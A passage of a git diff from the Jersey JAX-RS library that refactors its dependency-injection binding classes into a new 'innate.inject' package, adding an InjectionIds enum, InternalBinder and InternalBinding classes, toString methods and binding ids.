+++ b/core-common/src/main/java/org/glassfish/jersey/innate/inject/InjectionIds.java
@@ -0,0 +1,153 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.innate.inject;
+
+/**
+ * Very Innate information of Injection Bindings, do not use outside of Jersey, the IDs are a subject of a change.
+ */
+public enum InjectionIds {
+    COMMON_CONFIGURATION(1000),
+    COMMON_PROPERTIES_DELEGATE(1001),
+    COMMON_CONTEXT_RESOLVERS(1014),
+    COMMON_EXCEPTION_MAPPERS(1015),
+    COMMON_EXECUTOR_SERVICE_CLIENT(1011),
+    COMMON_EXECUTOR_SERVICE_SERVER(1111),
+    COMMON_SCHEDULED_EXECUTOR_SERVICE_CLIENT(1013),
+    COMMON_SCHEDULED_EXECUTOR_SERVICE_SERVER(1113),
+    COMMON_PROVIDERS_CLIENT(1016),
+    COMMON_PROVIDERS_SERVER(1116),
+
+    CLIENT_AGGREGATED_PROVIDER(2010),
+    CLIENT_MESSAGE_BODY_WORKERS(2020),
+    CLIENT_CLIENT_CONFIG(2101),
+    CLIENT_CLIENT_REQUEST(2102),
+    CLIENT_CLIENT_REQUEST_REF_FACTORY(2103),
+    CLIENT_HTTP_HEADERS(2104), // !
+    CLIENT_CHUNKED_INPUT_READER(2105), // MBR
+    CLIENT_PARAMETER_UPDATER_PROVIDER(2011),
+    CLIENT_EXECUTOR_SERVICE_PROVIDER(2020),
+    CLIENT_SCHEDULED_EXECUTOR_SERVICE_PROVIDER(2021),
+    CLIENT_BYTE_ARRAY_PROVIDER(2030), // MBW & MBR
+    CLIENT_FILE_PROVIDER(2031), // MBW & MBR
+    CLIENT_PATH_PROVIDER(2040), // MBW & MBR
+    CLIENT_MULTIVALUED_MAP_PROVIDER(2032), // MBW & MBR
+    CLIENT_FORM_PROVIDER(2033), // MBW & MBR
+    CLIENT_INPUT_STREAM_PROVIDER(2034), // MBW & MBR
+    CLIENT_BASIC_TYPES_PROVIDER(2035), // MBW & MBR
+    CLIENT_READER_PROVIDER(2036), // MBW & MBR
+    CLIENT_STRING_MESSAGE_PROVIDER(2037), // MBW & MBR
+    CLIENT_ENUM_MESSAGE_PROVIDER(2038), // MBW & MBR
+    CLIENT_STREAMING_OUTPUT_PROVIDER(2039), // MBW
+    CLIENT_CACHE_CONTROL_PROVIDER(2050), // HeaderDelegateProvider
+    CLIENT_COOKIE_PROVIDER(2051), // HeaderDelegateProvider
+    CLIENT_DATE_PROVIDER(2052), // HeaderDelegateProvider
+    CLIENT_ENTITY_TAG_PROVIDER(2053), // HeaderDelegateProvider
+    CLIENT_LINK_PROVIDER(2054), // HeaderDelegateProvider
+    CLIENT_LOCALE_PROVIDER(2055), // HeaderDelegateProvider
+    CLIENT_MEDIA_TYPE_PROVIDER(2056), // HeaderDelegateProvider
+    CLIENT_NEW_COOKIE_PROVIDER(2057), // HeaderDelegateProvider
+    CLIENT_STRING_HEADER_PROVIDER(2058), // HeaderDelegateProvider
+    CLIENT_URI_PROVIDER(2059), // HeaderDelegateProvider
+    CLIENT_DATA_SOURCE_PROVIDER(2070), // MBW & MBR
+    CLIENT_DOM_SOURCE_READER(2071), // MBR
+    CLIENT_RENDERED_IMAGE_PROVIDER(2072), // MBW & MBR
+    CLIENT_SAX_SOURCE_READER(2073), // MBR
+    CLIENT_SOURCE_WRITER(2074), // MBW
+    CLIENT_STREAM_SOURCE_READER(2075), // MBR
+
+    SERVER_AGGREGATED_PROVIDER(3010),
+    SERVER_MESSAGE_BODY_WORKERS(3020),
+    SERVER_BYTE_ARRAY_PROVIDER(3030), // MBW & MBR
+    SERVER_FILE_PROVIDER(3031), // MBW & MBR
+    SERVER_PATH_PROVIDER(3040), // MBW & MBR
+    SERVER_MULTIVALUED_MAP_PROVIDER(3032), // MBW & MBR
+    SERVER_FORM_PROVIDER(3033), // MBW & MBR
+    SERVER_INPUT_STREAM_PROVIDER(3034), // MBW & MBR
+    SERVER_BASIC_TYPES_PROVIDER(3035), // MBW & MBR
+    SERVER_READER_PROVIDER(3036), // MBW & MBR
+    SERVER_STRING_MESSAGE_PROVIDER(3037), // MBW & MBR
+    SERVER_ENUM_MESSAGE_PROVIDER(3038), // MBW & MBR
+    SERVER_STREAMING_OUTPUT_PROVIDER(3039), // MBW
+    SERVER_CACHE_CONTROL_PROVIDER(3050), // HeaderDelegateProvider
+    SERVER_COOKIE_PROVIDER(3051), // HeaderDelegateProvider
+    SERVER_DATE_PROVIDER(3052), // HeaderDelegateProvider
+    SERVER_ENTITY_TAG_PROVIDER(3053), // HeaderDelegateProvider
+    SERVER_LINK_PROVIDER(3054), // HeaderDelegateProvider
+    SERVER_LOCALE_PROVIDER(3055), // HeaderDelegateProvider
+    SERVER_MEDIA_TYPE_PROVIDER(3056), // HeaderDelegateProvider
+    SERVER_NEW_COOKIE_PROVIDER(3057), // HeaderDelegateProvider
+    SERVER_STRING_HEADER_PROVIDER(3058), // HeaderDelegateProvider
+    SERVER_URI_PROVIDER(3059), // HeaderDelegateProvider
+
+    SERVER_DATA_SOURCE_PROVIDER(3070), // MBW & MBR
+    SERVER_DOM_SOURCE_READER(3071), // MBR
+    SERVER_RENDERED_IMAGE_PROVIDER(3072), // MBW & MBR
+    SERVER_SAX_SOURCE_READER(3073), // MBR
+    SERVER_SOURCE_WRITER(3074), // MBW
+    SERVER_STREAM_SOURCE_READER(3075), // MBR
+    SERVER_MULTIVALUED_PARAMETER_EXTRACTOR_PROVIDER(3111),
+    SERVER_RESOURCE_CONTEXT(3112),
+    SERVER_ASYNC_RESPONSE_VALUE_PARAM_PROVIDER(3120),
+    SERVER_COOKIE_VALUE_PARAM_PROVIDER(3121),
+    SERVER_FORM_VALUE_PARAM_PROVIDER(3122),
+    SERVER_HEADER_VALUE_PARAM_PROVIDER(3123),
+    SERVER_MATRIX_VALUE_PARAM_PROVIDER(3124),
+    SERVER_PATH_VALUE_PARAM_PROVIDER(3125),
+    SERVER_QUERY_VALUE_PARAM_PROVIDER(3126),
+    SERVER_WEB_TARGET_VALUE_PARAM_PROVIDER(3127),
+    SERVER_BEAN_VALUE_PARAM_PROVIDER(3128),
+    SERVER_ENTITY_VALUE_PARAM_PROVIDER(3129),
+    SERVER_CONTEXT_VALUE_PARAM_PROVIDER(3130),
+    SERVER_ASYNC_RESOLVER(3140),
+    SERVER_COOKIE_RESOLVER(3141),
+    SERVER_FORM_RESOLVER(3142),
+    SERVER_HEADER_RESOLVER(3143),
+    SERVER_MATRIX_RESOLVER(3144),
+    SERVER_PATH_RESOLVER(3145),
+    SERVER_QUERY_RESOLVER(3146),
+    SERVER_WEB_TARGET_RESOLVER(3147),
+    SERVER_BEAN_RESOLVER(3148),
+    SERVER_APPLICATION_HANDLER(3180),
+    SERVER_APPLICATION(3190),
+    SERVER_OPTIONS_METHOD_PROCESSOR(3201),
+
+    SERVLET_PERSISTANCE_UNIT_INJECTION_RESOLVER(4001),
+    SERVLET_FILTER_CONFIG(4002),
+    SERVLET_SERVLET_CONFIG(4003),
+    SERVLET_WEB_CONFIG(4004),
+    SERVLET_HTTP_SERVLET_REQUEST(4010),
+    SERVLET_HTTP_SERVLET_REQUEST_REF(4011),
+    SERVLET_HTTP_SERVLET_RESPONSE(4012),
+    SERVLET_HTTP_SERVLET_RESPONSE_REF(4013),
+    SERVLET_SERVLET_CONTEXT(4020),
+
+    GRIZZLY_REQUEST_REFERENCING_FACTORY(5001),
+    GRIZZLY_REQUEST(5002),
+    GRIZZLY_RESPONSE_REFERENCING_FACTORY(5003),
+    GRIZZLY_RESPONSE(5004);
+
+    private int id;
+
+    InjectionIds(int id) {
+        this.id = id;
+    }
+
+    public int id() {
+        return id;
+    }
+
+}
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/inject/InjectionResolverBinding.java b/core-common/src/main/java/org/glassfish/jersey/innate/inject/InjectionResolverBinding.java
similarity index 77%
rename from core-common/src/main/java/org/glassfish/jersey/internal/inject/InjectionResolverBinding.java
rename to core-common/src/main/java/org/glassfish/jersey/innate/inject/InjectionResolverBinding.java
index 44f8dee..ee11619 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/inject/InjectionResolverBinding.java
+++ b/core-common/src/main/java/org/glassfish/jersey/innate/inject/InjectionResolverBinding.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,14 +14,16 @@
  * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
  */
 
-package org.glassfish.jersey.internal.inject;
+package org.glassfish.jersey.innate.inject;
+
+import org.glassfish.jersey.internal.inject.InjectionResolver;
 
 /**
  * Class which has the fields containing the instance of {@link InjectionResolver} and its a concrete type.
  *
  * @param <T> type of the annotation which is served using th given injection resolver.
  */
-public class InjectionResolverBinding<T extends InjectionResolver> extends Binding<T, InjectionResolverBinding<T>> {
+public class InjectionResolverBinding<T extends InjectionResolver> extends InternalBinding<T, InjectionResolverBinding<T>> {
 
     private final T resolver;
 
@@ -42,4 +44,10 @@
     public T getResolver() {
         return resolver;
     }
+
+    @Override
+    public String toString() {
+        return resolver.getClass().getSimpleName() + " <- " + resolver.getClass().getSimpleName();
+
+    }
 }
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/inject/InstanceBinding.java b/core-common/src/main/java/org/glassfish/jersey/innate/inject/InstanceBinding.java
similarity index 82%
rename from core-common/src/main/java/org/glassfish/jersey/internal/inject/InstanceBinding.java
rename to core-common/src/main/java/org/glassfish/jersey/innate/inject/InstanceBinding.java
index af51072..c17040e 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/inject/InstanceBinding.java
+++ b/core-common/src/main/java/org/glassfish/jersey/innate/inject/InstanceBinding.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,7 +14,7 @@
  * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
  */
 
-package org.glassfish.jersey.internal.inject;
+package org.glassfish.jersey.innate.inject;
 
 import java.lang.reflect.Type;
 
@@ -24,7 +24,7 @@
  * @param <T> type of the bean described by this injection binding.
  * @author Petr Bouda
  */
-public class InstanceBinding<T> extends Binding<T, InstanceBinding<T>> {
+public class InstanceBinding<T> extends InternalBinding<T, InstanceBinding<T>> {
 
     private final T service;
 
@@ -59,4 +59,10 @@
     public T getService() {
         return service;
     }
+
+
+    @Override
+    public String toString() {
+        return contractsAsString() + " <- " + service.getClass().getSimpleName();
+    }
 }
diff --git a/core-common/src/main/java/org/glassfish/jersey/innate/inject/InternalBinder.java b/core-common/src/main/java/org/glassfish/jersey/innate/inject/InternalBinder.java
new file mode 100644
index 0000000..1bf3e33
--- /dev/null
+++ b/core-common/src/main/java/org/glassfish/jersey/innate/inject/InternalBinder.java
@@ -0,0 +1,89 @@
+/*
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.innate.inject;
+
+import java.lang.annotation.Annotation;
+import java.lang.reflect.Type;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.List;
+import java.util.Objects;
+import java.util.function.Supplier;
+import java.util.stream.Collectors;
+
+import jakarta.ws.rs.core.GenericType;
+
+import org.glassfish.jersey.internal.inject.Binder;
+import org.glassfish.jersey.internal.inject.Binding;
+import org.glassfish.jersey.internal.inject.InjectionResolver;
+
+/**
+ * Implementation of {@link Binder} interface dedicated to keep some level of code compatibility between previous HK2
+ * implementation and new DI SPI.
+ * <p>
+ * Currently, there are supported only bind method and more complicated method where HK2 interfaces are required were omitted.
+ *
+ * @author Petr Bouda
+ */
+public abstract class InternalBinder extends BlindBinder {
+
+    @Override
+    public <T> ClassBinding<T> bind(Class<T> serviceType) {
+        return (ClassBinding<T>) super.bind(serviceType);
+    }
+
+    @Override
+    public <T> ClassBinding<T> bindAsContract(Class<T> serviceType) {
+        return (ClassBinding<T>) super.bindAsContract(serviceType);
+    }
+
+    @Override
+    public <T> ClassBinding<T> bindAsContract(GenericType<T> serviceType) {
+        return (ClassBinding<T>) super.bindAsContract(serviceType);
+    }
+
+    @Override
+    public ClassBinding<Object> bindAsContract(Type serviceType) {
+        return (ClassBinding<Object>) super.bindAsContract(serviceType);
+    }
+
+    public <T> InstanceBinding<T> bind(T service) {
+        return (InstanceBinding<T>) super.bind(service);
+    }
+
+    @Override
+    public <T> SupplierClassBinding<T> bindFactory(
+            Class<? extends Supplier<T>> supplierType, Class<? extends Annotation> supplierScope) {
+        return (SupplierClassBinding<T>) super.bindFactory(supplierType, supplierScope);
+    }
+
+    @Override
+    public <T> SupplierClassBinding<T> bindFactory(Class<? extends Supplier<T>> supplierType) {
+        return (SupplierClassBinding<T>) super.bindFactory(supplierType);
+    }
+
+    @Override
+    public <T> SupplierInstanceBinding<T> bindFactory(Supplier<T> factory) {
+        return (SupplierInstanceBinding<T>) super.bindFactory(factory);
+    }
+
+    @Override
+    public <T extends InjectionResolver> InjectionResolverBinding<T> bind(T resolver) {
+        return (InjectionResolverBinding<T>) super.bind(resolver);
+    }
+}
diff --git a/core-common/src/main/java/org/glassfish/jersey/innate/inject/InternalBinding.java b/core-common/src/main/java/org/glassfish/jersey/innate/inject/InternalBinding.java
new file mode 100644
index 0000000..b517fbc
--- /dev/null
+++ b/core-common/src/main/java/org/glassfish/jersey/innate/inject/InternalBinding.java
@@ -0,0 +1,98 @@
+/*
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.innate.inject;
+
+import org.glassfish.jersey.Beta;
+
+import java.lang.reflect.ParameterizedType;
+import java.lang.reflect.Type;
+import java.util.Iterator;
+
+/**
+ * Abstract injection binding description of a bean.
+ *
+ * @param <T> type of the bean described by this injection binding.
+ * @param <D> concrete injection binding implementation type.
+ */
+@SuppressWarnings("unchecked")
+public abstract class InternalBinding<T, D extends InternalBinding> extends org.glassfish.jersey.internal.inject.Binding<T, D> {
+    private boolean forClient = false;
+    private long id = 0;
+
+    /**
+     * Get the hint of the bean that exists both on the client and the server
+     * @return the hint that this binding if for being injected on the client.
+     */
+    @Beta
+    public boolean isForClient() {
+        return forClient;
+    }
+
+    /**
+     * A hint whether the bean is for being injected using {@code @Inject} on the client side
+     * but there is also a bean with the same contract on the server, such as for {@code Configuration}.
+     *
+     * <p>Default is false.</p>
+     *
+     * @param forClient {@code true} when injectable for the same contract exists both on the client and server and
+     *                              this binding is for the client side.
+     * @return current instance.
+     */
+    @Beta
+    public D forClient(boolean forClient) {
+        this.forClient = forClient;
+        return (D) this;
+    }
+
+    /**
+     * The binding id used to match the binding in the pre-binding phase and in the binding phase.
+     * @param id the unique id.
+     * @return current instance.
+     */
+    @Beta
+    public D id(long id) {
+        // 1000 - 1999 Core-Common
+        // 2000 - 2999 Core-Client
+        // 3000 - 3999 Core-Server
+        this.id = id;
+        return (D) this;
+    }
+
+    public long getId() {
+        return id;
+    }
+
+    @Override
+    public String toString() {
+        return contractsAsString() + " <- " + getImplementationType().getSimpleName();
+    }
+
+    public String contractsAsString() {
+        StringBuilder sb = new StringBuilder();
+        Iterator<Type> it = getContracts().iterator();
+        while (it.hasNext()) {
+            Type next = it.next();
+            if (Class.class.isInstance(next)) {
+                sb.append(((Class) next).getSimpleName());
+            } else if (ParameterizedType.class.isInstance(next)) {
+                sb.append(next);
+            }
+        }
+        return sb.toString();
+    }
+
+}
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/inject/ProviderBinder.java b/core-common/src/main/java/org/glassfish/jersey/innate/inject/ProviderBinder.java
similarity index 95%
rename from core-common/src/main/java/org/glassfish/jersey/internal/inject/ProviderBinder.java
rename to core-common/src/main/java/org/glassfish/jersey/innate/inject/ProviderBinder.java
index d672b11..dc2768e 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/inject/ProviderBinder.java
+++ b/core-common/src/main/java/org/glassfish/jersey/innate/inject/ProviderBinder.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,13 +14,12 @@
  * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
  */
 
-package org.glassfish.jersey.internal.inject;
+package org.glassfish.jersey.innate.inject;
 
 import java.lang.annotation.Annotation;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.Collection;
-import java.util.Collections;
 import java.util.LinkedHashSet;
 import java.util.List;
 import java.util.Set;
@@ -32,6 +31,12 @@
 
 import jakarta.inject.Singleton;
 
+import org.glassfish.jersey.internal.inject.Binder;
+import org.glassfish.jersey.internal.inject.Custom;
+import org.glassfish.jersey.internal.inject.CustomAnnotationLiteral;
+import org.glassfish.jersey.internal.inject.InjectionManager;
+import org.glassfish.jersey.internal.inject.PerLookup;
+import org.glassfish.jersey.internal.inject.Providers;
 import org.glassfish.jersey.model.ContractProvider;
 import org.glassfish.jersey.model.internal.ComponentBag;
 import org.glassfish.jersey.spi.ComponentProvider;
@@ -84,7 +89,7 @@
 
     private static <T> Binder createInstanceBinder(T instance, ContractProvider model) {
 
-        return new AbstractBinder() {
+        return new InternalBinder() {
 
             @Override
             protected void configure() {
@@ -104,7 +109,7 @@
 
     private static Binder createClassBinder(ContractProvider model) {
 
-        return new AbstractBinder() {
+        return new InternalBinder() {
 
             @Override
             protected void configure() {
@@ -124,7 +129,7 @@
 
     private static Collection<Binder> createProviderBinders(Class<?> providerClass, ContractProvider model) {
         /* Create a Binder of the Provider with the concrete contract. */
-        Function<Class, Binder> binderFunction = contract -> new AbstractBinder() {
+        Function<Class, Binder> binderFunction = contract -> new InternalBinder() {
             @Override
             @SuppressWarnings("unchecked")
             protected void configure() {
@@ -161,7 +166,7 @@
 
     private static Collection<Binder> createProviderBinders(Object providerInstance, ContractProvider model) {
         /* Create a Binder of the Provider with the concrete contract. */
-        Function<Class, Binder> binderFunction = contract -> new AbstractBinder() {
+        Function<Class, Binder> binderFunction = contract -> new InternalBinder() {
             @Override
             @SuppressWarnings("unchecked")
             protected void configure() {
@@ -287,7 +292,7 @@
     @SuppressWarnings("unchecked")
     private static <T> Collection<Binder> createInstanceBinders(T instance) {
         Function<Class, Binder> binderFunction = contract ->
-                new AbstractBinder() {
+                new InternalBinder() {
                     @Override
                     protected void configure() {
                         bind(instance).to(contract).qualifiedBy(CustomAnnotationLiteral.INSTANCE);
@@ -385,7 +390,7 @@
         final Class<? extends Annotation> scope = getProviderScope(clazz);
 
         if (isResource) {
-            return new AbstractBinder() {
+            return new InternalBinder() {
                 @Override
                 protected void configure() {
                     ClassBinding<T> descriptor = bindAsContract(clazz).in(scope);
@@ -398,10 +403,10 @@
                 }
             };
         } else {
-            return new AbstractBinder() {
+            return new InternalBinder() {
                 @Override
                 protected void configure() {
-                    ClassBinding<T> builder = bind(clazz).in(scope).qualifiedBy(CustomAnnotationLiteral.INSTANCE);
+                    ClassBinding<T> builder = bind(clazz).in(scope).qualifiedBy(CustomAnnotationLiteral.INSTANCE).id(0);
                     Providers.getProviderContracts(clazz).forEach(contract -> builder.to((Class<? super T>) contract));
                 }
             };
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/ServiceFinderBinder.java b/core-common/src/main/java/org/glassfish/jersey/innate/inject/ServiceFinderBinder.java
similarity index 86%
rename from core-common/src/main/java/org/glassfish/jersey/internal/ServiceFinderBinder.java
rename to core-common/src/main/java/org/glassfish/jersey/innate/inject/ServiceFinderBinder.java
index 223d32b..fe0e8a0 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/ServiceFinderBinder.java
+++ b/core-common/src/main/java/org/glassfish/jersey/innate/inject/ServiceFinderBinder.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2011, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,13 +14,14 @@
  * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
  */
 
-package org.glassfish.jersey.internal;
+package org.glassfish.jersey.innate.inject;
 
 import java.util.Map;
 
 import jakarta.ws.rs.RuntimeType;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InternalBinder;
+import org.glassfish.jersey.internal.ServiceFinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.util.PropertiesHelper;
 
@@ -34,7 +35,7 @@
  * @author Pavel Bucek
  * @author Libor Kramolis
  */
-public class ServiceFinderBinder<T> extends AbstractBinder {
+public class ServiceFinderBinder<T> extends InternalBinder {
 
     private final Class<T> contract;
 
@@ -59,7 +60,7 @@
     protected void configure() {
         if (PropertiesHelper.isMetaInfServicesEnabled(applicationProperties, runtimeType)) {
             for (Class<T> t : ServiceFinder.find(contract, true).toClassArray()) {
-                bind(t).to(contract);
+                bind(t).to(contract).id(0);
             }
         }
     }
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/inject/SupplierClassBinding.java b/core-common/src/main/java/org/glassfish/jersey/innate/inject/SupplierClassBinding.java
similarity index 83%
rename from core-common/src/main/java/org/glassfish/jersey/internal/inject/SupplierClassBinding.java
rename to core-common/src/main/java/org/glassfish/jersey/innate/inject/SupplierClassBinding.java
index f07b4ff..3289caa 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/inject/SupplierClassBinding.java
+++ b/core-common/src/main/java/org/glassfish/jersey/innate/inject/SupplierClassBinding.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,7 +14,7 @@
  * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
  */
 
-package org.glassfish.jersey.internal.inject;
+package org.glassfish.jersey.innate.inject;
 
 import java.lang.annotation.Annotation;
 import java.util.function.Supplier;
@@ -25,7 +25,7 @@
  * @param <T> type of the bean described by this injection binding descriptor.
  * @author Petr Bouda
  */
-public class SupplierClassBinding<T> extends Binding<Supplier<T>, SupplierClassBinding<T>> {
+public class SupplierClassBinding<T> extends InternalBinding<Supplier<T>, SupplierClassBinding<T>> {
 
     private final Class<? extends Supplier<T>> supplierClass;
     private final Class<? extends Annotation> supplierScope;
@@ -58,4 +58,9 @@
     public Class<? extends Annotation> getSupplierScope() {
         return supplierScope;
     }
+
+    @Override
+    public String toString() {
+        return contractsAsString() + " <- " + supplierClass.getSimpleName();
+    }
 }
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/inject/SupplierInstanceBinding.java b/core-common/src/main/java/org/glassfish/jersey/innate/inject/SupplierInstanceBinding.java
similarity index 78%
rename from core-common/src/main/java/org/glassfish/jersey/internal/inject/SupplierInstanceBinding.java
rename to core-common/src/main/java/org/glassfish/jersey/innate/inject/SupplierInstanceBinding.java
index e3f6643..4b1cf70 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/inject/SupplierInstanceBinding.java
+++ b/core-common/src/main/java/org/glassfish/jersey/innate/inject/SupplierInstanceBinding.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,7 +14,7 @@
  * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
  */
 
-package org.glassfish.jersey.internal.inject;
+package org.glassfish.jersey.innate.inject;
 
 import java.util.function.Supplier;
 
@@ -24,7 +24,7 @@
  * @param <T> type of the bean described by this injection binding descriptor.
  * @author Petr Bouda
  */
-public class SupplierInstanceBinding<T> extends Binding<Supplier<T>, SupplierInstanceBinding<T>> {
+public class SupplierInstanceBinding<T> extends InternalBinding<Supplier<T>, SupplierInstanceBinding<T>> {
 
     private final Supplier<T> supplier;
 
@@ -45,4 +45,9 @@
     public Supplier<T> getSupplier() {
         return supplier;
     }
+
+    @Override
+    public String toString() {
+        return contractsAsString() + " <- " + supplier.get().getClass().getSimpleName();
+    }
 }
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/AutoDiscoverableConfigurator.java b/core-common/src/main/java/org/glassfish/jersey/internal/AutoDiscoverableConfigurator.java
index a3ba93d..944c1ce 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/AutoDiscoverableConfigurator.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/AutoDiscoverableConfigurator.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
 import jakarta.ws.rs.RuntimeType;
 import jakarta.ws.rs.core.Configuration;
 
-import org.glassfish.jersey.internal.inject.Bindings;
+import org.glassfish.jersey.innate.inject.Bindings;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.spi.AutoDiscoverable;
 
@@ -32,7 +32,7 @@
  *
  * @author Petr Bouda
  */
-public class AutoDiscoverableConfigurator extends AbstractServiceFinderConfigurator<AutoDiscoverable> {
+public final class AutoDiscoverableConfigurator extends AbstractServiceFinderConfigurator<AutoDiscoverable> {
 
     /**
      * Create a new configurator.
@@ -47,7 +47,7 @@
     public void init(InjectionManager injectionManager, BootstrapBag bootstrapBag) {
         Configuration configuration = bootstrapBag.getConfiguration();
         List<AutoDiscoverable> autoDiscoverables = loadImplementations(configuration.getProperties()).stream()
-                .peek(implClass -> injectionManager.register(Bindings.service(implClass).to(AutoDiscoverable.class)))
+                .peek(implClass -> injectionManager.register(Bindings.service(implClass).to(AutoDiscoverable.class).id(0)))
                 .map(injectionManager::createAndInitialize)
                 .collect(Collectors.toList());
 
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/ContextResolverFactory.java b/core-common/src/main/java/org/glassfish/jersey/internal/ContextResolverFactory.java
index 9c5bb7a..18ba7ed 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/ContextResolverFactory.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/ContextResolverFactory.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -24,12 +24,14 @@
 import java.util.concurrent.ConcurrentHashMap;
 
 import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.RuntimeType;
 import jakarta.ws.rs.core.MediaType;
 import jakarta.ws.rs.ext.ContextResolver;
 
-import org.glassfish.jersey.internal.inject.Bindings;
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.innate.inject.InjectionIds;
+import org.glassfish.jersey.innate.inject.InstanceBinding;
 import org.glassfish.jersey.internal.inject.InjectionManager;
-import org.glassfish.jersey.internal.inject.InstanceBinding;
 import org.glassfish.jersey.internal.util.ReflectionHelper;
 import org.glassfish.jersey.internal.util.ReflectionHelper.DeclaringClassInterfacePair;
 import org.glassfish.jersey.internal.util.collection.KeyComparatorHashMap;
